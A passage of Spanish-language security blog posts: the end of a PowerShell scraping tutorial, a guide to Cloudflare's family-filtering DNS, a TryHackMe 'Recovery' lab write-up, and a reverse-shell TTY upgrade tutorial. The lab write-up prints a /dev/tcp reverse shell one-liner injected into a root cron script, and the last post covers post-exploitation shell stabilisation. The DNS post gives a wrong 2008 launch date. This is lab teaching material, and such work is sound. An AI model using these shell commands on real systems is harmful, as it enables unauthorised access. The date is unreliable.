if($i -le 9)
{
	$salida="$($carpeta)\\0$($i).jpg"
}

Finalmente, se hace una petición enviando la cabecera Refer, usamos el campo IMAGEN del objeto Matches como url, le indicamos que guarde la respuesta como un archivo con el nombre de la variable $salida y después esperará 2 segundos por que de lo contrario el sitio nos banea por demasiadas peticiones en un lapso de tiempo muy corto.

Invoke-WebRequest -Headers $cabeceras -Uri $Matches.IMAGEN -OutFile $salida -UseBasicParsing
Start-Sleep -Milliseconds 2000

Conclusiones

El scraping nos permite automatizar muchas tareas cuando estamos en busca de archivos, sin embargo, muchos servidores limitan el acceso a los recursos con este tipo de restricciones por lo cual es importante conocer estas técnicas simples pero eficaces ;).

Bienvenidos a este tutorial donde aprenderan a bloquear malware y/o sitios con contenido para adultos al modificar una configuración muy sencilla en los ajustes de red en nuestros dispositivos móviles o computadoras pero primero debemos entender que es un DNS. La siguiente imagen muestra un diagrama sencillo sobre el funcionamiento de un DNS:

1. El cliente hace una consulta al dominio youtube.com
2. el DNS traduce el nombre de dominio a la ip del sitio youtube.com

Un DNS es un sistema que nos facilita la traducción de las feas direcciones IP en nombres de dominios más bonitos para el entendimiento humano, sin embargo, para las máquinas se siguen utilizando las IP’s, pero ¿Qué pasaría si visitaramos un sitio con contenido malicioso?. Muy fácil, el DNS nos respondería como lo ha venido haciendo desde tiempos inmemorables ya que los DNS’s por defecto no validan si el sitio a resolver a sido catalogado como malicioso, con malware o si se trata de un sitio con contenido para adultos :(.

Es por esto que en 2008 la empresa CloudFlare dió a conocer su familia de DNS’s 1.1.1.1 For Families, un sistema de resolución de DNS seguro, rápido, gratuito y que prioriza la privacidad para que todos podamos disponer de esta línea de defensa adicional sin restricción alguna. 1.1.1.1 for Families incluye sólidas garantías de privacidad y tiene la finalidad de bloquear sitios con Malware, Contenido para adultos o bloquear ambos según sean nuestras necesidades.

¿Cómo empezar a usarlo?

Para poder usar esta línea de defensa primero debemos elegir la opción que más se adapte a nuestras necesidades:

1. Bloqueo de malware
   DNS Primario 1.1.1.2
   DNS Secundario 1.0.0.2

2. Bloqueo de malware y contenido para adultos
   DNS Primario 1.1.1.3
   DNS Secundario 1.0.0.3

Una vez que elíjamos una opción, basta con cambiar la configuración de DNS de nuestros nuestros dispositivos. Para ello veremos primero como realizarlo en android y posteriormente en Windows ya que son los dispositivos más comunes entre los usuarios.

Android

Como primer paso, debemos abrir la configuración de Wi-Fi de nuestro dispositivo al bajar la barra de estado y dejando presionado sobre el ícono de Wi-Fi para después ir a los detalles de la red en la que estemos conectados.

A continuación vamos a cambiar la configuración de IP por una dirección estática que no esté siendo ocupada por otro dispositivo. Recomiendo poner un valor arriba de 100 para estar seguros y no entrar en conflictos de direccionamiento ;).

Por lo general nuestra Puerta de Enlace o Router tiene la primera dirección de nuestra red (en mi caso 10.0.0.1) y en longitud de prefijo ponemos 24 o la longitud que tengamos configurada, finalmente, en DNS primario y DNS Secundario ponemos la opción que hayamos elegido, en este ejemplo utilicé el bloqueo de Malware. Con todas estas modificaciones deberiamos tener algo como lo siguiente:

Guardamos los cambios realizados y con esto terminaríamos con la configuración en Android.

Windows

Para windows debemos empezar haciendo click derecho en el ícono de conexión en la barra de tareas y después seleccionar la opción Abrir configuración de red e internet

A continuación se abrirá la venta de configuración y seleccionaremos el botón Propiedades de la red en la que estemos conectados

En la nueva ventana nos desplazaremos hacia abajo hasta encontrar la sección Configuración de IP donde seleccionaremos el botón editar y después seleccionaremos la opción Manual del menú desplegable

Finalmente activamos el interruptor de IPv4 y al igual que en Android agregamos la dirección IP, Puerta de enlace, longitud del prefijo y, en este caso, los DNS de bloqueo de malware y contenido para adultos, recuerden guardar los cambios antes de salir.

Y ¡listo! con estas configuraciones tendremos agregada una capa extra de seguridad para navegar y mantenernos más seguros en la web. Gracias por visitar mi página, espero que te haya sido útil y nos vemos hasta otra publicación ;).

Bienvenidos a mi página y a este post donde veremos como solucionar la máquina Recovery de TryHackMe. Cabe aclarar que en esta máquina no estaremos vulnerando nada sino todo lo contrario, ayudaremos a Alex a solucionar y recuperar los archivos que fueron eliminados por un Malware que le hicieron instalar a través de un ataque de Spear Phishing vía e-mail, dicho mensaje se muestra acontinuación:

Hi Alex, A recent security vulnerability has been discovered that affects the web server. Could you please run this binary on the server to implement the fix? Regards

• Teo

Alex nos da las credenciales de SSH además de brindarnos una interfaz web donde veremos las banderas por cada reparación aplicada al daño causado por el malware fixutil, podemos acceder a esta interfaz en la misma máquina a través del puerto 1337 (por que somos muy hackers).

Username: alex
Password: madeline

Resolución

Primeramente nos conectamos por SSH con las credenciales que Alex nos dio, y como nos contó, se imprime el texto YOU DIDN’T SAY THE MAGIC WORD y después de unos instantes se cierra completamente la conexión, pero si tecleamos CTRL+C mientras se imprime el mensaje, podemos escribir bash para abrir una nueva instancia de la bash y vamos a poder ejecutar ordenes.

Nota: alternativamente podemos escribir sh y de esta manera la línea de comandos no morirá, esto lo explicaremos más adelante ;)

Flag 0

Ya que linux lee y ejecuta la ordenes dentro del archivo .bashrc al principio de la conexión, podemos intuir que el mensaje YOU DIDN’T SAY THE MAGIC WORD está dentro de dicho archivo en una orden que lo imprime en todo momento, y al abrirlo con vim podemos ver en la siguiente imagen que efectivamente fue así, para obtener la flag 0 debemos comentar o eliminar esta línea.

Flag 1

Pero después de cierto tiempo se sigue cerrando la conexión, entonces puede tratarse de una tarea cron que se ejecuta en intervalos de tiempo. Para ver las tareas programadas hacemos un ls -la /etc/cron.d/ lo que nos muestra una tarea de nombre evil, al hacer un cat /etc/cron.d/evil podemos ver que la tarea ejecuta lo siguiente:

Cuando listamos los permisos de este script, podemos ver que tenemos permisos rwx (lectura, escritura y ejecución) por lo cual lo abrimos con vim y podemos ver un ciclo for que busca los PID (Process ID) de todos los procesos con nombre bash que se estén ejecutando y va haciendo un kill a cada uno de ellos, es por esto que debemos comentar o elimnar esta línea para que no se muera nuesta sesión SSH y podamos conseguir la flag 1.

Análisis de fixutil con strings

Después de realizar la modifiación, no encontramos pistas para continuar con la reparación del daño, es por esto que utilizamos la herramienta strings para obtener todas las cadenas imprimibles dentro del ejecutable fixutil y de esta manera, realizar un ‘reversing’ y poder analizar lo cambios realizados por este malware.

Al revisar las cadenas obtenidas, nos encontramos con lo que parecen ser nombres de variables y funciones (index_of_encryption_key, webfile_names, XOREncryptWebFiles, encryption_key_dir, rand_string, GetWebFiles, LogIncorrectAttempt, XORFile) lo que nos hace suponer que se aplicó un “cifrado” XOR a los archivos, además, podemos notar lo que parecen ser las tareas ejecutadas por fixutil:

1. El archivo en la siguiente ruta /opt/.fixutil/backup.txt parece sospechoso y solo tiene permisos el usuario propietario (root).
2. Se ejecutó la siguiente línea de comandos /bin/mv /tmp/logging.so /lib/x86_64-linux-gnu/oldliblogging.so la cual mueve el archivo logging.so hacia el directorio /lib/x86_64-linux-gnu/ con el nombre oldliblogging.so.
3. Se añade una llave ssh al archivo de llaves autorizadas del usuario root
4. Se agrega el usuario security en el grupo de usuarios con privilegios de root además de cambiarle la contraseña a la que se puede ver en la imagen
5. La creación de brilliant_script y la tarea cron evil

1. La modificación del archivo .bashrc de alex
2. Esta línea de comandos se ejecutó antes de la tarea 2: /bin/cp /lib/x86_64-linux-gnu/liblogging.so /tmp/logging.so la cual copia el archivo liblogging.so hacía el directorio /tmp/ con el nombre logging.so pero se deduce que se realizó alguna modificación en algún punto.
3. Se ejecuta la el módulo liblogging.so

Dado que las tareas identificadas se realizaron con privilegios elevados y ya que brilliant_script se ejecuta con privilegios de root, podemos aprovechar los permisos de escritura sobre este archivo y establecer una reverse shell con netcat agregando lo siguiente:

bash -c 'bash -i >& /dev/tcp/IP/PUERTO 0>&1'

Nota: Sustituir IP por nuestra IP y PUERTO por el puerto deseado

Flag 2

Una vez obtenida nuestra reverse shell con privilegios elevados, analizamos los archivos .so modificados con la herramienta head y podemos ver los iguiente para el archivo liblogging.so:

Y el archivo oldliblogging.so muestra lo siguiente:

Debido a los cambios realizados por el malware debemos restaurar el archivo oldliblogging.so, para esto ejecutamos la siguiente linea de comandos:

mv /lib/x86_64-linux-gnu/oldliblogging.so /lib/x86_64-linux-gnu/liblogging.so

Flag 3

Como vimos durante el analisis se agregó una llave ssh al archivo authorized_keys del usuario root, por lo cual, nuestra tarea será eliminar dicha llave con la siguiente linea de comandos:

echo '' > /root/.ssh/authorized_keys

Flag 4

Para obtener esta bandera necesitamos eliminar el usuario security eliminandolo de los archivos /etc/passwd y /etc/shadow manualmente ya que en la máquina no existe la utilidad userdel, par eliminarlo de el primer archivo usaremos la siguiente línea de comandos:

sed -i '$d' /etc/passwd

Y para eliminarlo del archivo shadow:

sed -i '$d' /etc/shadow

Flag 5

Durante el analisis realizado con strings pudimos apreciar la creación del directorio oculto /opt/.fixutil/ el cual solo tiene permisos para el usuario propietario(root) y ya que tenemos nuestra reverse shell con privilegios elevados, podemos revisar el contenido de este directorio donde nos encontramos con el archvio backup.txt el cual continene la contraseña con la que se cifraron los archivos:

Mirando en las cadenas obetnidas con string encontramos el directorio web /usr/local/apache2/htdocs/ y al hacer un cat para revisar el contenido de los archivos, podemos ver que están cifrados:

Al tratarse de un cifrado XOR podemos implementar un programa en python para que descrifre los archivos con la llave que está en el archivo backup.txt, hay que recordar que la máquina no tiene python por lo que este proceso se hará local.

from pathlib import Path

llave=b"AdsipPewFlfkmll"
archivos=["index.html","todo.html","reallyimportant.txt"]
carpeta_salida=Path("descifrados")

Path.mkdir(carpeta_salida)


for elemento in archivos:
    archivo=open(elemento,"rb")
    archivo_salida=Path("descifrados", elemento)

    salida=open(archivo_salida,"wb")
    contenido=archivo.read()
    for i in range(0,len(contenido)):
        arr=bytes(chr(contenido[i]^llave[i%len(llave)]), 'utf-8')
        salida.write(arr)

Una vez que hemos descifrado todos los archivos, crearemos la carpeta descifrados en el directorio home de alex y copiaremos los archivos con la herramienta scp de la siguiente manera:

scp descifrados/* alex@10.10.72.227:descifrados

A continuación, copiamos los archivos al directorio /usr/local/apache2/htdocs/ con la shell de root y así obtendríamos la flag 5.

cp /home/alex/descifrados/* .

Conclusiones

Con esto terminamos de revertir todos los cambios hechos por el malware y ayudamos a alex a recuperar los archivos que fueron cifrados, espero que les haya gustado y que les haya sido útil, nos vemos hasta otro post y recuerden revisar bien sus correos para no ser victimas de Phishing o Spear Phishing como nuestro amigo Alex ;)

Generalmente cuando obtenemos acceso a través de una conexión inversa o Reverse Shell nos encontramos con el problema que no podemos usar el autocompletado de la consola, a veces el contenido se muestra con dimensiones incorrectas o se visualiza con identados extraños, sin embargo, en este post veremos como obtener una Full Interactive shell a partir de una Dumb Shell en unos sencillos pasos.

Procedimiento

En mi canal de youtube tengo un vídeo explicando el procedimiento, les dejo aquí el enlace si les gusta más el formato vídeo ;) Obtener interactive shell

Partiremos este tutorial tomando en cuenta que en nuestro netcat ya hemos recibido una conexión, explicaremos como obtener nuestra Full Interactive Shell con bash y con Python.

Bash

Para realizarlo con bash escribimos la siguiente línea de comandos:

script -q /dev/null -c bash

Python

Para python utilizaremos la siguiente línea de comandos:

python3 -c "import pty; pty.spawn('/bin/bash')"

Procedimiento (Continuación)

Con cualquiera de los dos métodos veremos el prompt de bash después de dar enter:

Ahora enviaremos este proceso al background o segundo plano con la combinacion de teclas Ctrl+Z y después escribiremos la siguiente línea de comandos:

stty raw -echo; fg

Estas instrucciones le dicen a bash que imprima nuestra shell actual en modo raw y enseguida le indicamos que regrese al foreground (fg) la tarea enviada al background. Despues de dar enter veremos un mensaje donde escribiremos reset (puede que no se vea que estemos escribiendo), finalmente nos preguntara el tipo de terminal y aquí escribiremos xterm:

Después de dar enter se limpiará la pantalla y tendremos de nueva el prompt de bash, ahora debemos importar dos variables SHELL y TERM de la siguiente manera:

export SHELL=bash
export TERM=xterm

En este punto nuestra shell debe permitirnos recorrer el historial (flechas arriba y abajo), limpiar la pantalla (Ctrl+L), cancelar un proceso (Ctrl+C), etc. pero puede que el contenido no se muestren correctamente, para corregir esto abriremos una shell en nuestro equipo y vamos a ejecutar lo siguiente:

stty size

Obtendremos las filas (primer número) y las columnas (segundo número) que tiene una shell en nuestro equipo, ahora esos valores los copiaremos a la reverse shell para que se muestre correctamente:

stty rows 41 columns 172

Conclusiones

Con estos sencillos pasos debemos tener configurada nuestra full interactive shell que nos permitirá explorar la máquina objetivo con más comodidad para las tareas de post-explotación, sin embargo, no siempre funciona debido al tipo de conexiones inversas que obtenemos. Espero que este post les haya gustado y que les haya sido útil, nos vemos en otro tutorial o en otra publicación.